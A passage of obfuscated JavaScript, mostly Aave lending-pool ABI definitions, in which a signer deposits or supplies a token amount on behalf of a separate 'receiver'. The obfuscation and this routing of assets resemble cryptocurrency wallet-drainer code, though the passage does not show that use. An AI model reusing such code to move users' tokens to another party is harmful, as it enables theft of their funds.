type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "LENDINGPOOL_REVISION",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_NUMBER_RESERVES",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}],
name: "borrow",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "deposit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "balanceFromBefore",
type: "uint256"
}, {
internalType: "uint256",
name: "balanceToBefore",
type: "uint256"
}],
name: "finalizeTransfer",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "receiverAddress",
type: "address"
}, {
internalType: "address[]",
name: "assets",
type: "address[]"
}, {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "modes",
type: "uint256[]"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "bytes",
name: "params",
type: "bytes"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "getAddressesProvider",
outputs: [{
internalType: "contract ILendingPoolAddressesProvider",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getConfiguration",
outputs: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveData",
outputs: [{
components: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "configuration",
type: "tuple"
}, {
internalType: "uint128",
name: "liquidityIndex",
type: "uint128"
}, {
internalType: "uint128",
name: "variableBorrowIndex",
type: "uint128"
}, {
internalType: "uint128",
name: "currentLiquidityRate",
type: "uint128"
}, {
internalType: "uint128",
name: "currentVariableBorrowRate",
type: "uint128"
}, {
internalType: "uint128",
name: "currentStableBorrowRate",
type: "uint128"
}, {
internalType: "uint40",
name: "lastUpdateTimestamp",
type: "uint40"
}, {
internalType: "address",
name: "aTokenAddress",
type: "address"
}, {
internalType: "address",
name: "stableDebtTokenAddress",
type: "address"
}, {
internalType: "address",
name: "variableDebtTokenAddress",
type: "address"
}, {
internalType: "address",
name: "interestRateStrategyAddress",
type: "address"
}, {
internalType: "uint8",
name: "id",
type: "uint8"
}],
internalType: "struct DataTypes.ReserveData",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveNormalizedIncome",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveNormalizedVariableDebt",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getReservesList",
outputs: [{
internalType: "address[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "user",
type: "address"
}],
name: "getUserAccountData",
outputs: [{
internalType: "uint256",
name: "totalCollateralETH",
type: "uint256"
}, {
internalType: "uint256",
name: "totalDebtETH",
type: "uint256"
}, {
internalType: "uint256",
name: "availableBorrowsETH",
type: "uint256"
}, {
internalType: "uint256",
name: "currentLiquidationThreshold",
type: "uint256"
}, {
internalType: "uint256",
name: "ltv",
type: "uint256"
}, {
internalType: "uint256",
name: "healthFactor",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "user",
type: "address"
}],
name: "getUserConfiguration",
outputs: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.UserConfigurationMap",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "aTokenAddress",
type: "address"
}, {
internalType: "address",
name: "stableDebtAddress",
type: "address"
}, {
internalType: "address",
name: "variableDebtAddress",
type: "address"
}, {
internalType: "address",
name: "interestRateStrategyAddress",
type: "address"
}],
name: "initReserve",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract ILendingPoolAddressesProvider",
name: "provider",
type: "address"
}],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "collateralAsset",
type: "address"
}, {
internalType: "address",
name: "debtAsset",
type: "address"
}, {
internalType: "address",
name: "user",
type: "address"
}, {
internalType: "uint256",
name: "debtToCover",
type: "uint256"
}, {
internalType: "bool",
name: "receiveAToken",
type: "bool"
}],
name: "liquidationCall",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "paused",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "user",
type: "address"
}],
name: "rebalanceStableBorrowRate",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "rateMode",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}],
name: "repay",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "configuration",
type: "uint256"
}],
name: "setConfiguration",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bool",
name: "val",
type: "bool"
}],
name: "setPause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "rateStrategyAddress",
type: "address"
}],
name: "setReserveInterestRateStrategyAddress",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "bool",
name: "useAsCollateral",
type: "bool"
}],
name: "setUserUseReserveAsCollateral",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "rateMode",
type: "uint256"
}],
name: "swapBorrowRateMode",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "withdraw",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}];
let _0x3f78ee = new ethers.Contract(_0x2b7b1b, _0x291020, _0x9d9505);
return [_0x3f78ee.deposit(_0x4f37a4.asset.token, _0x4f37a4.asset.amount, this.receiver, 0), ""];
}
case "AaveLP3":
{
let _0x23de63 = [{
inputs: [{
internalType: "contract IPoolAddressesProvider",
name: "provider",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "backer",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "fee",
type: "uint256"
}],
name: "BackUnbacked",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
}, {
indexed: false,
internalType: "uint256",
name: "borrowRate",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "Borrow",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "target",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "initiator",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "asset",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
}, {
indexed: false,
internalType: "uint256",
name: "premium",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "FlashLoan",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "asset",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "totalDebt",
type: "uint256"
}],
name: "IsolationModeTotalDebtUpdated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "collateralAsset",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "debtAsset",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "debtToCover",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "liquidatedCollateralAmount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "liquidator",
type: "address"
}, {
indexed: false,
internalType: "bool",
name: "receiveAToken",
type: "bool"
}],
name: "LiquidationCall",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "MintUnbacked",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amountMinted",
type: "uint256"
}],
name: "MintedToTreasury",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "RebalanceStableBorrowRate",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "repayer",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "bool",
name: "useATokens",
type: "bool"
}],
name: "Repay",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "liquidityRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "stableBorrowRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "variableBorrowRate",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "liquidityIndex",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "variableBorrowIndex",
type: "uint256"
}],
name: "ReserveDataUpdated",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "ReserveUsedAsCollateralDisabled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}],
name: "ReserveUsedAsCollateralEnabled",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: true,
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "Supply",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "enum DataTypes.InterestRateMode",
name: "interestRateMode",
type: "uint8"
}],
name: "SwapBorrowRateMode",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint8",
name: "categoryId",
type: "uint8"
}],
name: "UserEModeSet",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "reserve",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "to",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "Withdraw",
type: "event"
}, {
inputs: [],
name: "ADDRESSES_PROVIDER",
outputs: [{
internalType: "contract IPoolAddressesProvider",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "BRIDGE_PROTOCOL_FEE",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "FLASHLOAN_PREMIUM_TOTAL",
outputs: [{
internalType: "uint128",
name: "",
type: "uint128"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "FLASHLOAN_PREMIUM_TO_PROTOCOL",
outputs: [{
internalType: "uint128",
name: "",
type: "uint128"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_NUMBER_RESERVES",
outputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "MAX_STABLE_RATE_BORROW_SIZE_PERCENT",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "POOL_REVISION",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "fee",
type: "uint256"
}],
name: "backUnbacked",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}],
name: "borrow",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint8",
name: "id",
type: "uint8"
}, {
components: [{
internalType: "uint16",
name: "ltv",
type: "uint16"
}, {
internalType: "uint16",
name: "liquidationThreshold",
type: "uint16"
}, {
internalType: "uint16",
name: "liquidationBonus",
type: "uint16"
}, {
internalType: "address",
name: "priceSource",
type: "address"
}, {
internalType: "string",
name: "label",
type: "string"
}],
internalType: "struct DataTypes.EModeCategory",
name: "category",
type: "tuple"
}],
name: "configureEModeCategory",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "deposit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "dropReserve",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "balanceFromBefore",
type: "uint256"
}, {
internalType: "uint256",
name: "balanceToBefore",
type: "uint256"
}],
name: "finalizeTransfer",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "receiverAddress",
type: "address"
}, {
internalType: "address[]",
name: "assets",
type: "address[]"
}, {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}, {
internalType: "uint256[]",
name: "interestRateModes",
type: "uint256[]"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "bytes",
name: "params",
type: "bytes"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "flashLoan",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "receiverAddress",
type: "address"
}, {
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "bytes",
name: "params",
type: "bytes"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "flashLoanSimple",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getConfiguration",
outputs: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint8",
name: "id",
type: "uint8"
}],
name: "getEModeCategoryData",
outputs: [{
components: [{
internalType: "uint16",
name: "ltv",
type: "uint16"
}, {
internalType: "uint16",
name: "liquidationThreshold",
type: "uint16"
}, {
internalType: "uint16",
name: "liquidationBonus",
type: "uint16"
}, {
internalType: "address",
name: "priceSource",
type: "address"
}, {
internalType: "string",
name: "label",
type: "string"
}],
internalType: "struct DataTypes.EModeCategory",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint16",
name: "id",
type: "uint16"
}],
name: "getReserveAddressById",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveData",
outputs: [{
components: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "configuration",
type: "tuple"
}, {
internalType: "uint128",
name: "liquidityIndex",
type: "uint128"
}, {
internalType: "uint128",
name: "currentLiquidityRate",
type: "uint128"
}, {
internalType: "uint128",
name: "variableBorrowIndex",
type: "uint128"
}, {
internalType: "uint128",
name: "currentVariableBorrowRate",
type: "uint128"
}, {
internalType: "uint128",
name: "currentStableBorrowRate",
type: "uint128"
}, {
internalType: "uint40",
name: "lastUpdateTimestamp",
type: "uint40"
}, {
internalType: "uint16",
name: "id",
type: "uint16"
}, {
internalType: "address",
name: "aTokenAddress",
type: "address"
}, {
internalType: "address",
name: "stableDebtTokenAddress",
type: "address"
}, {
internalType: "address",
name: "variableDebtTokenAddress",
type: "address"
}, {
internalType: "address",
name: "interestRateStrategyAddress",
type: "address"
}, {
internalType: "uint128",
name: "accruedToTreasury",
type: "uint128"
}, {
internalType: "uint128",
name: "unbacked",
type: "uint128"
}, {
internalType: "uint128",
name: "isolationModeTotalDebt",
type: "uint128"
}],
internalType: "struct DataTypes.ReserveData",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveNormalizedIncome",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "getReserveNormalizedVariableDebt",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "getReservesList",
outputs: [{
internalType: "address[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "user",
type: "address"
}],
name: "getUserAccountData",
outputs: [{
internalType: "uint256",
name: "totalCollateralBase",
type: "uint256"
}, {
internalType: "uint256",
name: "totalDebtBase",
type: "uint256"
}, {
internalType: "uint256",
name: "availableBorrowsBase",
type: "uint256"
}, {
internalType: "uint256",
name: "currentLiquidationThreshold",
type: "uint256"
}, {
internalType: "uint256",
name: "ltv",
type: "uint256"
}, {
internalType: "uint256",
name: "healthFactor",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "user",
type: "address"
}],
name: "getUserConfiguration",
outputs: [{
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.UserConfigurationMap",
name: "",
type: "tuple"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "user",
type: "address"
}],
name: "getUserEMode",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "aTokenAddress",
type: "address"
}, {
internalType: "address",
name: "stableDebtAddress",
type: "address"
}, {
internalType: "address",
name: "variableDebtAddress",
type: "address"
}, {
internalType: "address",
name: "interestRateStrategyAddress",
type: "address"
}],
name: "initReserve",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IPoolAddressesProvider",
name: "provider",
type: "address"
}],
name: "initialize",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "collateralAsset",
type: "address"
}, {
internalType: "address",
name: "debtAsset",
type: "address"
}, {
internalType: "address",
name: "user",
type: "address"
}, {
internalType: "uint256",
name: "debtToCover",
type: "uint256"
}, {
internalType: "bool",
name: "receiveAToken",
type: "bool"
}],
name: "liquidationCall",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "assets",
type: "address[]"
}],
name: "mintToTreasury",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "mintUnbacked",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "user",
type: "address"
}],
name: "rebalanceStableBorrowRate",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}],
name: "repay",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}],
name: "repayWithATokens",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "permitV",
type: "uint8"
}, {
internalType: "bytes32",
name: "permitR",
type: "bytes32"
}, {
internalType: "bytes32",
name: "permitS",
type: "bytes32"
}],
name: "repayWithPermit",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "rescueTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}],
name: "resetIsolationModeTotalDebt",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
components: [{
internalType: "uint256",
name: "data",
type: "uint256"
}],
internalType: "struct DataTypes.ReserveConfigurationMap",
name: "configuration",
type: "tuple"
}],
name: "setConfiguration",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "address",
name: "rateStrategyAddress",
type: "address"
}],
name: "setReserveInterestRateStrategyAddress",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint8",
name: "categoryId",
type: "uint8"
}],
name: "setUserEMode",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "bool",
name: "useAsCollateral",
type: "bool"
}],
name: "setUserUseReserveAsCollateral",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}],
name: "supply",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "onBehalfOf",
type: "address"
}, {
internalType: "uint16",
name: "referralCode",
type: "uint16"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "uint8",
name: "permitV",
type: "uint8"
}, {
internalType: "bytes32",
name: "permitR",
type: "bytes32"
}, {
internalType: "bytes32",
name: "permitS",
type: "bytes32"
}],
name: "supplyWithPermit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "interestRateMode",
type: "uint256"
}],
name: "swapBorrowRateMode",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "protocolFee",
type: "uint256"
}],
name: "updateBridgeProtocolFee",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint128",
name: "flashLoanPremiumTotal",
type: "uint128"
}, {
internalType: "uint128",
name: "flashLoanPremiumToProtocol",
type: "uint128"
}],
name: "updateFlashloanPremiums",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "asset",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}],
name: "withdraw",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}];
let _0x3f6944 = new ethers.Contract(_0x2b7b1b, _0x23de63, _0x9d9505);
return [_0x3f6944.supply(_0x4f37a4.asset.token, _0x4f37a4.asset.amount, this.receiver, 0), ""];
}
case "AaveLP4":
{
let _0x46f5ef = [{
inputs: [],
name: "BorrowNotPaused",
type: "error"
}, {
inputs: [],
name: "ExceedsMaxBasisPoints",
type: "error"
}, {
inputs: [],
name: "MarketAlreadyCreated",
type: "error"
}, {
inputs: [],
name: "MarketIsDeprecated",
type: "error"
}, {
inputs: [],
name: "MarketIsNotListedOnAave",
type: "error"
}, {
inputs: [],
name: "MarketNotCreated",
type: "error"
}, {
inputs: [],
name: "MaxNumberOfMarkets",
type: "error"
}, {
inputs: [],
name: "MaxSortedUsersCannotBeZero",
type: "error"
}, {
inputs: [],
name: "ZeroAddress",
type: "error"
}, {
anonymous: false,
inputs: [{
components: [{
internalType: "uint64",
name: "supply",
type: "uint64"
}, {
internalType: "uint64",
name: "borrow",
type: "uint64"
}, {
internalType: "uint64",
name: "withdraw",
type: "uint64"
}, {
internalType: "uint64",
name: "repay",
type: "uint64"
}],
indexed: false,
internalType: "struct Types.MaxGasForMatching",
name: "_defaultMaxGasForMatching",
type: "tuple"
}],
